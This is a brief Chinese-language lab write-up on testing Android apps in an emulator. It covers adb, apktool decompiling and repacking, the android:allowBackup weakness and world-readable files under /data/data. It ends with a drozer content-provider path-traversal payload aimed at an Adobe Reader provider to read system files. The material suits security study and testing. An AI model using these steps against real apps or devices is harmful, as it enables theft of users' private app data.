安卓APP反編譯備份攻擊
環境:
夜神模擬器
工具:
Adb
Apktool
過程:
adb檢視連結的安卓裝置
1、使用命令adb devices檢視當前連結的裝置
使用命令adb kill-server殺死已連線裝置,再使用adb start-server重啟裝置
2、使用adb shell pm list packages列出所有的apk包
使用adb shell進入裝置系統,用命令dumpsys meminfo檢視所有應用程式及其當前記憶體佔用的列表
3、使用adb logcat -d -f /data/local/logcats.log將logcat存放在/data/local/目錄下,在adb shell下進入
使用 df 命令檢查檔案系統以及可用空間和大小
4、使用apktool對apk檔案進行反編譯,使用命令apktool d [apkname].apk,將apk檔案反編譯
相反,使用命令apktool b [folder name] [target-apkname].apk可將反編譯後的檔案重新編譯成想要命名的apk檔案
5、在反編譯完成的檔案中,檢視定義它們的 AndroidManifest.xml 檔案,在android:allowbackup處值為true,說明存在可備份漏洞,可使用adb backup和adb restore來進行資料備份和恢復。
可用drozer檢查sql注入等類似問題
6、訪問 adb shell ,之後使用 cd 進入 /data/data/[package name of the app] 。我們在這裡執行 ls -l ,就可以看到檔案和資料夾的檔案許可權:
# ls -l /data/data/com.aditya.example/files/userinfo.xml
-rw-rw-rw- app_200 app_200 22034 2013-11-07 00:01 userinfo.xml
這裡我們可以使用 find 來搜尋許可權。
find /data/data/ -perm [permissions value]
如果我們執行 cat userinfo.xml
此處無userinfo.xml,所以只做演示。
7、使用命令run app.provider.finduri com.android.insecurebankv2查詢apk的所有內容供應器
使用 app.provider.read 搜尋並利用本地檔案包含漏洞,嘗試從系統中讀取一些檔案,如 /etc/hosts 和 /proc/cpuinfo
dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../etc/hosts
此處只做演示。